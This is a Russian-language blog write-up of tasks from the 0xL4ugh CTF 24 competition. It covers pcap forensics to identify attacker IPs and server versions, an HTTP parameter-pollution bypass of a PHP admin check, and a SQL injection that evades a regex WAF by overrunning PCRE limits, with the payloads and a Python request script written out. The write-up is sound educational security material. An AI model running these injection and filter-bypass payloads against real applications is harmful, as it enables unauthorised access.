![](https://habrastorage.org/webt/h7/p0/4s/h7p04s9rt1_vz6dj_dmknpzofsw.png)
Привет, Хабр! Продолжаем путешествовать по CTF-турнирам. Из последних — 0xL4ugh CTF 24 от одноименной команды из Египта. В статье расскажу, как я решил задачи из категории DFIR (Digital Forensics and Incident Response) и web. Сохраняйте в закладки: пригодится как опытным, так и начинающим специалистам по информационной безопасности.
Дисклеймер: материал не обучает хакингу и не призывает к противозаконным действиям. Все описанное ниже лишь демонстрирует, какие пробелы в безопасности встречаются в реальных веб-приложениях. И предупреждает, на что нужно обратить внимание при разработке программного обеспечения.
Используйте навигацию, чтобы выбрать интересующий блок:
→ Подробнее о турнире
→ Категория DFIR
→ Категория web
→ Заключение
Подробнее о турнире
В этом году команда 0xL4ugh анонсировала турнир следующим образом:
«Мы постарались сделать 0xL4ugh CTF 24 (третью версию) максимально сложным, полезным и забавным. Большинство задач в этом году основаны на реальных случаях и исследованиях. Оставайтесь на связи».
В течение суток участникам нужно было решить 36 заданий из категории web, DFIR, reverse, crypto, pwn, misc и osint. Информация о мероприятии, как обычно, была на CTFtime. Советую отслеживать анонсы мероприятия там, если хотите быть в курсе популярных CTF-турниров.
Категория DFIR
Задача: WordPress 1
Условие
На сайте WordPress произошел сбой в системе безопасности, и точный способ взлома на данный момент не определен. Нам нужна ваша помощь, чтобы выяснить, что же произошло на самом деле.
- Два злоумышленника пытались скомпрометировать нашу среду. Какие IP-адреса были у жертвы и первого злоумышленника?
- Какие были версии у серверов Apache и PHP, установленных в нашей среде?
Дано
- Flag Format 0xL4ugh{A1_A2}
Example: 0xL4ugh{IP1_IP2_apache1.2.3_php1.2.3}(no spaces), - файл.
Решение
Чтобы собрать флаг в этом таске, нужно ответить на два вопроса. Приступим!
Шаг 1
Открываю в Wireshark приложенный к заданию файл. По логике сначала идет разведка (сканирование), поэтому предполагаю, что первый атакующий — это инициатор сканов.
Перехожу из Статистики в HTTP, затем — в Последовательность запросов.
![](https://habrastorage.org/webt/5j/u0/br/5ju0braq8w8vmtl7_pocta2jjpk.png)
Вижу несколько запросов к 192.168.204.128. Название явно указывает, что там находится Wordpress.
Шаг 2
Теперь перехожу в общий файл и начинаю его фильтровать:
ip.dst == 192.168.204.128 and http contains "GET"
Трафики от 192.168.204.1 и 192.168.204.132 похожи на индикатор скана. Смотрю информацию у последнего IP-адреса и вижу, что User-Agent содержит WPScan v3.8.25 и sqlmap 1.7.12#stable%:
![](https://habrastorage.org/webt/gv/sj/q-/gvsjq-edxdevixdx-ayz_hyb_ay.png)
![](https://habrastorage.org/webt/wj/si/h3/wjsih3nznxcx8qqhus_9ecrkes8.png)
Очевидно, IP-адрес 192.168.204.132 сканировал жертву с помощью этих утилит.
Шаг 3
Далее меняю предыдущий фильтр на следующий адрес:
ip.src == 192.168.204.128 and ip.dst == 192.168.204.132
В ответе вижу php_8.2.12 и Apache_2.4.58.
![](https://habrastorage.org/webt/sd/ze/nu/sdzenuwx7e7gb94en8uctsfcdsq.png)
Готово — собираю флаг:
0xL4ugh{192.168.204.128_192.168.204.132_apache2.4.58_php8.2.12}
![](https://habrastorage.org/webt/nm/bz/_e/nmbz_eygyu_olpkjgx9ri73qrmw.png)
Категория web
Задача: Micro
Задание:
Помните Bruh 1,2? Это bruh 3 :D
Войдите под логином admin:admin, и вы получите флаг :*
Дано
Решение
Шаг 1
У нас есть доступ на страницу с формой авторизации и исходники приложения:
![](https://habrastorage.org/webt/qh/d_/gd/qhd_gddwy-oxkj1wsoh0z72qwl4.png)
Перехожу к исходникам. Меня интересуют три файла из архива: init.db, index.php и app.py. Рассмотрим каждый подробнее.
Файл init.db. В нем находится блок кода:
CREATE TABLE IF NOT EXISTS `users` (
`id` varchar(50) NOT NULL,
`username` varchar(20) NOT NULL,
`password` varchar(50) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;
При запуске приложения создается таблица с тремя столбцами: ID, username и password. Затем:
insert into users(id,username,password) values('1','admin','21232f297a57a5a743894a0e4a801fc3');
В таблицу добавляется одна запись, а в столбец password — md5-hash с admin.
Шаг 2
Файл index.php. Содержит данные по обработке POST-запроса сервером.
if(isset($_POST['login-submit']))
{
if(!empty($_POST['username'])&&!empty($_POST['password']))
{
$username=$_POST['username'];
$password=md5($_POST['password']);
if(Check_Admin($username) && $_SERVER['REMOTE_ADDR']!=="127.0.0.1")
{
die("Admin Login allowed from localhost only : )");
}
else
{
send_to_api(file_get_contents("php://input"));
}
}
else
{
echo "<script>alert('Please Fill All Fields')</script>";
}
}
Здесь выполняется проверка, чтобы поле username и password не были пустыми. После — полученные данные записываются в соответствующие переменные, а username отдается на проверку в функцию Check_Admin:
function Check_Admin($input)
{
$input=iconv('UTF-8', 'US-ASCII//TRANSLIT', $input); // Just to Normalize the string to UTF-8
if(preg_match("/admin/i",$input))
{
return true;
}
else
{
return false;
}
}
Check_Admin ответит значением true, если в поле username содержится admin. В противном случае — вернет false.
Если функция Check_Admin ответит true и $_SERVER['REMOTE_ADDR'] не будет равен 127.0.0.1, то приложение вернет Admin Login allowed from localhost only: ). В противном случае отправит данные на порт 5000, в котором находится API для запроса в базу данных через скрипт app.py.
Шаг 3
Файл app.py. Приложение никак не обрабатывает данные из username, но подсчитывает хэш из password:
password = hashlib.md5(request.form.get('password').encode()).hexdigest()
Данные отправляются на проверку в функцию authenticate_user():
def authenticate_user(username, password):
try:
conn = mysql.connector.connect(
host=mysql_host,
user=mysql_user,
password=mysql_password,
database=mysql_db
)
cursor = conn.cursor()
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))
result = cursor.fetchone()
cursor.close()
conn.close()
return result
except mysql.connector.Error as error:
print("Error while connecting to MySQL", error)
return None
Итого, по логике приложения можно сделать вывод, что если, как указано в задании, передать в форму username=admin и password=admin, то фильт preg_match в index.php вернет значение true. Запроса к БД не будет, и я не получу флаг.
Если обратиться к $_SERVER['REMOTE_ADDR'] с сервера, в котором находится приложение, он будет равен 127.0.0.1. PHP вытащит эти данные из сетевого стека, поэтому передача заголовка HTTP ‘REMOTE_ADDR: 127.0.0.1 не подойдет.
Кроме того, условие if(Check_Admin($username) && $_SERVER['REMOTE_ADDR']!==«127.0.0.1») можно обойти, если функция Check_Admin ответит false. Тогда данные уйдут на обработку в app.py.
Если не ввести admin в username, то запрос к базе данных не выдаст оттуда запись. Для этого нужно одним запросом передать username с двумя условиями:
- Username не должен содержать admin, чтобы обойти фильтр функцией preg_match php.
- Username должен содержать admin, чтобы python забрал его в SQL-запрос.
Задача кажется противоречивой, но ответ — в том, как PHP и Python принимают данные из POST-запроса. Если передать несколько одинаковых параметров в теле HTTP, то Python возьмет данные из первого параметра, а PHP — из последнего.
Шаг 4
Добавлю к index.php вывод параметра username в POST-запросах, чтобы проверить предположение.
if(isset($_POST['login-submit']))
{
if(!empty($_POST['username'])&&!empty($_POST['password']))
{
$username=$_POST['username'];
$password=md5($_POST['password']);
echo "<script>alert($username)</script>";
if(Check_Admin($username))
{
send_to_api(file_get_contents("php://input"));
}
}
else
{
echo "<script>alert('Please Fill All Fields')</script>";
}
}
Далее собираю и запускаю новый Docker image:
sudo docker build Micro_togive --tag "micro_test"
sudo docker run micro_test
Теперь передаю в форму значения ниже и получаю результат:
![](https://habrastorage.org/webt/7_/ws/a3/7_wsa3kchyh2mcszle2pepa7zza.png)
![](https://habrastorage.org/webt/eo/nl/xy/eonlxyudutfju17dnfw25fgswxw.png)
По такому принципу в POST-запрос можно отдать и больше параметров. Результат не изменится:
![](https://habrastorage.org/webt/-y/b-/uo/-yb-uotloq3ads9oaxuzkxpkgms.png)
Чтобы обойти фильтр preg_match php, в последнем значение username отдаю строку, не содержащую admin. А чтобы удовлетворить SQL-запрос в app.py, указываю первым параметром именно admin. Далее передаю значения в оригинальное тестовое приложение, запущенное в Docker.
![](https://habrastorage.org/webt/ta/9r/pv/ta9rpv_nmx2gcsqtgi3t_jou_mm.png)
Шаг 5
Я получил тестовый флаг, теперь нужно передать его в боевое приложение.
username=admin&username=anydata1&username=anydata2&password=admin&login-submit=
![](https://habrastorage.org/webt/7j/dm/c3/7jdmc3q8r9sc61hixz8fe3am8nw.png)
Задача решена — флаг у меня!
Задача: Simple WAF
Задание
Я внес в белый список входные значения, так что, думаю, я в безопасности: P
Автор: abdoghazy
Дано
Решение
Шаг 1
По ссылке — форма из предыдущего задания:
![](https://habrastorage.org/webt/34/8i/gg/348iggjfmnbxvjk8r1c3gntrtay.png)
Перехожу к файлам из предыдущего архива.
В init.db нам снова предлагают создать таблицу с тремя столбцами.
CREATE TABLE IF NOT EXISTS `users` (
`id` varchar(50) NOT NULL,
`username` varchar(20) NOT NULL,
`password` varchar(50) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;
И добавить запись об администраторе:
insert into users(id,username,password) values('1','admin','c0b12ccad044e2e525cf818077413c4c');
На этот раз пароль — не admin. Хеш md5 к нему не подходит.
Шаг 2
В этом index.php есть ряд условий:
if(isset($_POST['login-submit']))
{
if(!empty($_POST['username'])&&!empty($_POST['password']))
{
$username=$_POST['username'];
$password=md5($_POST['password']);
if(waf($username))
{
die("WAF Block");
}
else
{
$res = $conn->query("select * from users where username='$username' and password='$password'");
if($res->num_rows ===1)
{
echo "0xL4ugh{Fake_Flag}";
}
else
{
echo "<script>alert('Wrong Creds')</script>";
}
}
}
else
{
echo "<script>alert('Please Fill All Fields')</script>";
}
}
Если username и password в отправленном POST-запросе не пустые, то идет проверка в функции waf:
function waf($input)
{
if(preg_match("/([^a-z])+/s",$input))
{
return true;
}
else
{
return false;
}
}
Дальнейшая обработка запроса происходит только в том случае, если проверка в waf прошла неуспешно. После этого она выполняет запрос к базе данных:
select * from users where username='$username' and password='$password'
Шаг 3
Если в результате запроса к БД количество строк равняются единице, то мы получим флаг. Для этого необходимо выполнить два условия.
- Данные в username не должны попадать под шаблон:
preg_match("/([^a-z])+/s",$input)
- Запрос к БД должен вернуть только одну строку:
if($res->num_rows ===1)
{
echo "0xL4ugh{Fake_Flag}";
}
Поскольку в базе данных находится одна строка, то обход авторизацию должен сработать независимо от переданных значений username, password. Добавляю условие, чтобы обойти авторизацию:
‘ or 1=1;#
‘ or 1=1;-- -
‘ or true;#
‘ or true;-- -
Данные в username не должны попадать под шаблон preg_match("/([^a-z])+/s",$input). В нем происходит проверка наличия букв: если она есть, то запрос к БД не доходит. Поэтому стоит учитывать фильтр preg_match php, чтобы не допустить появление букв в username.
Прикладываю пример альтернативного обхода авторизации, который не содержит букв:
![](https://habrastorage.org/webt/8n/65/6b/8n656b8bcpyx0cs4wz9s-iixh1m.png)
В итоговой SQL-инъекции меняю or 1=1-- — на || 1=1-- -.
Шаг 4
Теперь необходимо решить, как обойти preg_match(). По ссылке можно найти информацию о функции и ее ошибках. Делаю вывод, что preg_match, являясь PCRE-функцией, рекурсивно проверяет переданную строку по шаблону и имеет предел входных значение. Информацию о лимитах функции нашел в руководстве по PHP. При превышении этого значения waf вернет false, что нам и требуется.
Собираю POST-запрос в Python и передаю его в тестовое приложение, запущенное в Docker. Собираю Docker image и запускаю контейнер:
$ sudo docker build simple_waf_togive --tag "waf"
$ sudo docker run waf
Пишу скрипт test_waf.py.
Интересное наблюдение: при 10’001 символов функция возвращает false. Возможно, это значение может быть еще ниже, его можно определить параметром pcre.recursion_limit в php.ini.
import requests
address = 'http://172.17.0.2/'
username = '1'*10001 + "' || 1=1-- -"
password = 'any'
data = {'username':username, 'password':password, 'login-submit':''}
print(requests.post(address,data).text)
В ответе получаю страницу с тестовым флагом:
![](https://habrastorage.org/webt/gv/bc/zj/gvbczjy9m3djc-mgpiqjt9rvnmc.png)
Теперь этим скриптом можно обратиться к основному приложению, чтобы получить флаг:
![](https://habrastorage.org/webt/zn/l5/sz/znl5szuarflhf0bhmlj57swccco.png)
Готово!
Заключение
Мне понравилось турнир от крутой египетской команды. Задачки по Web и DFIR были очень интересными: сначала нужно было найти хакера, а затем самим оказаться на его месте. Надеюсь, в следующем году будет не менее захватывающее!
Задачи с каких CTF-турниров показались вам интересными? Делитесь своими вариантами в комментариях!